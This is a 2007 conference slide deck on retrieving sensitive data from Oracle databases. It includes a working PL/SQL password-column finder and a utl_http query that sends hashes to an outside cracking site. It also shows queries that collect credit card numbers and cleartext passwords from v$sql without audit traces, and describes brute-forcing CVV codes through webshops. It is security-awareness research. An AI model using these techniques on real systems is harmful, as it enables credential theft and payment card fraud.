Retrieving Sensitive Information from Oracle Databases

Document Sample
Retrieving Sensitive Information from Oracle Databases Powered By Docstoc
					    Deepsec 2007 - Vienna


   Retrieving Sensitive Information from Oracle
   Databases




   Alexander Kornbrust
   22-Nov-2007
Red-Database-Security GmbH
Friday, November 23, 2007                         1
    Agenda

    Red-Database-Security GmbH
    Founded Spring 2004
    CEO Alexander Kornbrust
    Specialized in Oracle Security
    One of the leading company for Oracle Security
    More than 350 Oracle vulnerabilities reported
    Customers worldwide (Banking, Insurance, Pharma, Industry,
     Government ...)
    Worldwide activities
           Periodical trainings in USA, Singapore, U.A.E.
           Presentations on the leading security conferences
            (Blackhat, Deepsec, Defcon, HITB, Bluehat, Syscan, IT
            Underground, ...)
Red-Database-Security GmbH
Friday, November 23, 2007                                           2
    Agenda

   Introduction
   Passwords
   Find passwords tables/columns
   Creditcards
   Find Creditcards
   Get Creditcard information without leaving traces
   Get cleartext passwords from the database
   Q&A




Red-Database-Security GmbH
Friday, November 23, 2007                               3
    Words

   What is the meaning of



        lozinka                     Geslo

                            senha           MDP
          wagword  Password         drowssap

                            sandi           fjalikalim

Red-Database-Security GmbH
Friday, November 23, 2007                                4
    How passwords are stored in the database


   Create table users (name varchar2(30), password varchar2(32))


   Create table users (name varchar2(30), kennwort varchar2(32))


   Create table users (name varchar2(30), passwort varchar2(32))


   Create table users (name varchar2(30), geslo varchar2(32))


   ...




Red-Database-Security GmbH
Friday, November 23, 2007                                           5
   Sensitive Information in databases are normally stored in tables with
    speaking names (like password)
   Even if English rules the world, many developers are using their
    native language
   Abbreviations are often used (e.g. MDP for Mot De Passe)




Red-Database-Security GmbH
Friday, November 23, 2007                                                   6
     Samples
     haslo = polish         parola = russian
    mot de passe = french   ...
    clave = spanish
    senha = portugese
    lozinka = croatian
    wachtwoord = dutch
    wagword = africaans
    lösen = swedish
    fjalÎkalim = albanian
    parool = estonian
    drowssap = hebrew
    sandi = indonesian
    parole = latvian
    geslo = slovene
Red-Database-Security GmbH
Friday, November 23, 2007                       7
    Reality check I

   Google Search for “Create table” “MDP varchar”




Red-Database-Security GmbH
Friday, November 23, 2007                            8
    Reality check II

  Google Search for “Create table” “geslo varchar”




Red-Database-Security GmbH
Friday, November 23, 2007                             9
    How to find foreign words?

   Ask friends (special thanks to Philippe, Stefano, Wendel)
   Using online dictionary




Red-Database-Security GmbH
Friday, November 23, 2007                                       10
    Passwords

   Many developers are storing application passwords for webapps / or
    client/server apps ... in tables
   Typical formats (from my experience) for passwords are cleartext,
    base64, MD5, SHA-1 or Cesar
   By checking column names, length and content (e.g. hex/non-hex,
    length, ...) it is possible to predict
               hex/non-hex (only a-z, 0-9)
               salt/no-salt (duplicates ==> no salt)
               cleartext (statistic analysis: e is the most common character)
               base64 (= at the end)
               cesar (text distribution, e is NOT the most common
                character)


Red-Database-Security GmbH
Friday, November 23, 2007                                                        11
    Password finder

   The following PL/SQL script searches password in the database and
    analyses (available on www.red-database-security.com after the
    conference)
     -- get passwords from a database
     -- V1.00
     -- by Alexander Kornbrust Red-Database-
     Security GmbH
     --
     set serveroutput on size 1000000

     declare
      samelength integer;
      isMD5 integer;
      isSHA1 integer;
      isSHA2 integer;
      isBASE64 integer;
      ishex integer;
      hasSALT integer;
      numpasswords integer;
      vc1 varchar2(256);
      vc2 varchar2(256);



Red-Database-Security GmbH
Friday, November 23, 2007                                               12
    Password finder - anapw.sql
     cursor custpasswords is
       select owner,table_name,column_name,data_type, data_length
       from dba_tab_columns
       where
        ( upper(column_name) like 'PWD'
          or upper(column_name) like 'PASS'
          or upper(column_name) like 'MDP'
          or upper(column_name) like 'MOTSDEPASSE'
          or upper(column_name) like 'HASLO'
          or upper(column_name) like 'CLAVE'
          or upper(column_name) like 'SENHA'
          or upper(column_name) like 'JELZO'
          or upper(column_name) like 'LOZINKA'
          or upper(column_name) like 'HASLO'
          ...
          or upper(column_name) like 'KENNWORT'
          or upper(column_name) like 'PASSWD'
          or upper(column_name) like 'PASSWORD'
          or upper(column_name) like 'PWORD'
          or upper(column_name) like 'PSW'
          or upper(column_name) like 'USERPASSWORD'
          or upper(column_name) like 'USER_PASSWORD'
          or upper(column_name) like 'PASSWORDS'
          or upper(column_name) like 'ZPASSWORD'
          or upper(column_name) like 'PROXYPASSWORD'
          ...
Red-Database-Security GmbH
Friday, November 23, 2007                                           13
    Password finder - anapw.sql
 begin

   open custpasswords; -- open cursor
   loop
      fetch custpasswords into pwcandidates; -- retrieve owner, tablename,password
      begin
      dbms_output.put_line('select '||pwcandidates.column_name||' from '||
 pwcandidates.owner||'.'||pwcandidates.table_name);
      dbms_output.put_line('Typ='||pwcandidates.data_type||'('||
 pwcandidates.data_length||')' );
      -- if value >1 then no hashing scheme is used
      -- just a hack - not secure against sql injection
      execute immediate 'select count(*) from (select len,count(*) from (select
 length('||pwcandidates.column_name||') LEN from '||pwcandidates.owner||'.'||
 pwcandidates.table_name||') group by len)' into samelength;
      --dbms_output.put_line('number='||to_char(samelength));

 ...




Red-Database-Security GmbH
Friday, November 23, 2007                                                        14
    Password finder - anapw.sql
dbms_output.put_line('hash='||vc1);
     if length(vc1)=32 then dbms_output.put_line('possible MD2/MD4 or MD5'); END IF;
     if length(vc1)=40 then dbms_output.put_line('possible SHA-1'); END IF;
     if length(vc1)=64 then dbms_output.put_line('possible SHA-2 (256)'); END IF;
     if length(vc1)=96 then dbms_output.put_line('possible SHA-2 (384)'); END IF;
     if length(vc1)=128 then dbms_output.put_line('possible SHA-2 (512)'); END IF;
     if length(vc1)=1024 then dbms_output.put_line('possible RSA Key'); END IF;
     if length(vc1)=2048 then dbms_output.put_line('possible RSA Key'); END IF;

-- check for salt
        execute immediate 'select count(*) from (select password, count(*) anzahl
from us1.password where password is not null group by password having count(*) > 1)'
into hasSALT;
      if (hasSALT>0) then dbms_output.put_line('No salt in use'); end if;
      if (hasSALT=0) then dbms_output.put_line('Possibly salt is used'); end if;
     end if;




Red-Database-Security GmbH
Friday, November 23, 2007                                                         15
    Password finder - Usage
SQL> @anapw1.sql

   FLOWS_030000.wwv_flow_fnd_user.webpassword   -   MD5 - no salt
   EBUS.USERS.PASSW                             -   BASE64
   EBUS.USERS_OLD.PASSW                         -   cleartext
   EBUS2.USERS.LDAPPWD                          -   password




Red-Database-Security GmbH
Friday, November 23, 2007                                           16
    Possible Enhancements for password finder

   Automatic cracking for simple passwords
   Support for rainbow-tables via web interface
      http://md5.rednoize.com/




  Select utl_http.request ('http://md5.rednoize.com/?q='||
  web_password_raw ||'&b=MD5-Search') from flows_030000.
  wwv_flow_fnd_user;


Red-Database-Security GmbH
Friday, November 23, 2007                                    17
                            Creditcard
                            numbers


Red-Database-Security GmbH
Friday, November 23, 2007                18
  Creditcard numbers

   Everybody knows that creditcard numbers are sensitive information
   PCI-DSS requires encryption, but
         creditcard data is often stored unencrypted
         including PIN, CVV, CVV2
   This data can be found using the same technique as the password
    finder script (including various names for creditcard like
    “Kreditkarte”, ...)


   Sample:
   create table creditcard “cc varchar2(20), cvv varchar2(4), expired
    varchar2(8)



Red-Database-Security GmbH
Friday, November 23, 2007                                                19
  Creditcard numbers




Red-Database-Security GmbH
Friday, November 23, 2007    20
  Credicard numbers & TDE

      To be compliant with PCI-DSS, Oracle recommends to use TDE
       (Transparent Data Encryption) to encrypt creditcard data
      The problem with TDE is that the encryption is on block-level. If the
       database is up and running, the data is unencrypted (=transparent)
      Nice feature for auditors (“we are using AES256 to encrypt CC data”)


      Get encrypted columns
        SQL> select table_name, column_name, encryption_alg, salt from
        dba_encrypted_columns;
    TABLE_NAME          COLUMN_NAME          ENCRYPTION_ALG              SAL


                            unsecure
    ---------------------------------------------------------------------------

    CREDITCARD              CCNR             AES256                      NO
    CREDITCARD              CVE              AES256                      NO
    CREDITCARD              VALID            AES256                      NO




Red-Database-Security GmbH
Friday, November 23, 2007                                                         21
  CreditCard

   The easiest way to validate credit card numbers are regular
    expressions
   Since Oracle 10g it is possible to use regexp in SQL statements
   The following SQL statement verifies that a string is a valid credit
    card information
      select data from table where regexp_like
       (data,’^((4\d{3})|(5[1-5]\d{2}))(-?|\040?)(\d{4}(-?|
       \040?)){3}|^(3[4,7]\d{2})(-?|\040?)\d{6}(-?|\040?)
       \d{5}’)




   http://regexlib.com/REDetails.aspx?regexp_id=340


Red-Database-Security GmbH
Friday, November 23, 2007                                                  22
  CreditCard

      Many other regexp for SSN, ... are available on the
       internet




   http://regexlib.com


Red-Database-Security GmbH
Friday, November 23, 2007                                    23
  Dual Use of CreditCard numbers

   Credit card numbers are sometimes used in additional ways, e.g. as
    frequent flyer numbers
   Even if credit card numbers are encrypted, frequent flyer numbers
    are normally not encrypted.
   The missing data (expiration, CVV(2)) can be guessed.




Red-Database-Security GmbH
Friday, November 23, 2007                                                24
   Miles and More Insecurities

   Miles and More is one of the biggest frequent flyer programs in the
    world (more than 13 Mio members)
   Many M&M frequent flyer (FTL, SEN, HON) are using the Lufthansa
    Credit Card
   For convenience reasons Lufthansa combines the frequent flyer card
    with the credit card.
   All M&M frequent flyer statuses are 2 years valid until February of the
    next / overnext year
   The expiration date is always 02/08 or 02/09
   The CVV/CVV2-code can be guessed via
    webshops (e.g. bahn.de). On average
    only 500 tries are necessary for Visa.



Red-Database-Security GmbH
Friday, November 23, 2007                                                     25
  Miles and More Insecurities

   Most frequent flyer like games (“Win 1.000.000 miles”)
   Often it’s possible to win / collect miles by
    specifying miles
   Also online-checking accepts the credit card
    number,




Red-Database-Security GmbH
Friday, November 23, 2007                                    26
      Get Information (CC-
      numbers) without leaving
      traces



Red-Database-Security GmbH
Friday, November 23, 2007        27
  Collecting sensitive information without traces

   The last few hundred/thousand SQL statements in Oracle databases
    are accessible via the fixed view v$sql
   Every insert/update/delete, function and procedure calls is visible
   This view can not be audited
    SQL> audit select on sys.v$sql;
      ERROR at line 1:
      ORA-02030: can only select from fixed tables/views
   Everyone with DBA privileges (Hackers, regular DBAs) can select
    data from this table without leaving traces
   e.g. run a script every 5 minutes, collecting information
         no traces
         no objects created in the database


Red-Database-Security GmbH
Friday, November 23, 2007                                                 28
  Sample

  SQL> create table cc (cc varchar2(20), cvv varchar2(4),
  expired varchar2(4));

  Table created.

  SQL> insert into cc values ('377236102366130','0234','0909');

  1 row created.

  SQL> insert into cc values ('370561465621707','432','1110');

  1 row created.

  SQL> insert into cc values ('375873785511053','0012','0208');

  1 row created.


  SQL> commit;



Red-Database-Security GmbH
Friday, November 23, 2007                                         29
  Sample

  SQL> select sql_text from v$sql where lower(sql_text) like '%
  cc %';

  SQL_TEXT
  -----------------------------------------------------------

  insert       into cc values ('377236102366130','0234','0909')
  insert       into cc values ('376746383411315','1234','0209')
  select       sql_text from v$sql where lower(sql_text) like '% cc %'
  insert       into cc values ('370561465621707','432','1110')
  insert       into cc values ('375873785511053','0012','0208')




Red-Database-Security GmbH
Friday, November 23, 2007                                                30
  Sample

  SQL> select sql_text from v$sql where lower(sql_text)
  regexp_like '*^((4\d{3})|(5[1-5]\d{2}))(-?|\040?)(\d{4}(-?|
  \040?)){3}|^(3[4,7]\d{2})(-?|\040?)\d{6}(-?|\040?)\d{5}*';

  SQL_TEXT
  -----------------------------------------------------------

  begin authorize('370561465621707','432','1110',’Kornbrust
  Alexander’) end; /
  begin authorize('375873785511053','0012','0208',’Zanero
  Stefano’) end; /
  ...




Red-Database-Security GmbH
Friday, November 23, 2007                                       31
  Collect CC numbers

   Even if the CVV numbers are NOT stored in the database, they are available via
   the view v$sql


  SQL> select sql_text from v$sql where lower(sql_text)
  regexp_like '*^((4\d{3})|(5[1-5]\d{2}))(-?|\040?)(\d{4}(-?|
  \040?)){3}|^(3[4,7]\d{2})(-?|\040?)\d{6}(-?|\040?)\d{5}*';

  SQL_TEXT
  -----------------------------------------------------------

  begin authorize('370561465621707','432','1110',’Kornbrust
  Alexander’) end; /
  begin authorize('375873785511053','0012','0208',’Zanero
  Stefano’) end; /
  ...




Red-Database-Security GmbH
Friday, November 23, 2007                                                       32
  Bind-Variables as protection?

   Bind-Variables does not protect because the value of Bind-Variables are
   accessible via the view v$sql_bind_capture


  SQL> select value_string from v$sql_bind_capture where
  lower(value_string) regexp_like '^((4\d{3})|(5[1-5]\d{2}))(-?|
  \040?)(\d{4}(-?|\040?)){3}|^(3[4,7]\d{2})(-?|\040?)\d{6}(-?|
  \040?)\d{5}';

  VALUE_STRING
  -----------------------------------------------------------

  370561465621707
  375873785511053
  ...




Red-Database-Security GmbH
Friday, November 23, 2007                                                    33
  v$sql & passwords

   More than 160 functions and procedures in a default Oracle
    installation are accepting passwords as a parameter
   In most cases, these parameters expect cleartext passwords
   Sample:
      SQL> exec owa.set_password('superduper');


      PL/SQL procedure successfully completed.


      SQL> select sql_text from v$sql where lower(sql_text)
      like '%owa.set_passw%';
      select sql_text from v$sql where lower(sql_text) like
      '%owa.set_passw%'
      BEGIN owa.set_password('superduper'); END;


Red-Database-Security GmbH
Friday, November 23, 2007                                        34
  Cleartext passwords in other tables

 Sometimes audit tables (SYS.AUD$) and statistic tables (SYS.WRH
  $_SQLTEXT)
 Sample:
     SQL> select sql_text from sys.wrh$_sqltext where sql_text
     like '%passw%';


     SQL> BEGIN owa.set_password('superduper'); END;




Red-Database-Security GmbH
Friday, November 23, 2007                                           35
  Summary

 Information in databases is often stored in tables in non-english
  languages
 This can be a good source for a custom dictionary file (consult a
  lawyer first)
 Creditcard numbers can be found with regular expressions
 These values can be accessed by the database without leaving
  traces by using the view v$sql.
 Bind variables do not protect
 Some external security solutions (like Sentrigo Hedgehog) can even
  audit fixed views like v$sql.




Red-Database-Security GmbH
Friday, November 23, 2007                                              36
    Questions?




                      Q&A
Red-Database-Security GmbH
Friday, November 23, 2007    37
Contact

  Alexander Kornbrust

  Red-Database-Security GmbH
  Bliesstrasse 16
  D-66538 Neunkirchen
  Germany

  Telefon: +49 (0)6821 – 95 17 637
  Fax:     +49 (0)6821 – 91 27 354
  E-Mail: ak@red-database-security.com


Red-Database-Security GmbH               38
Friday, November 23, 2007                 38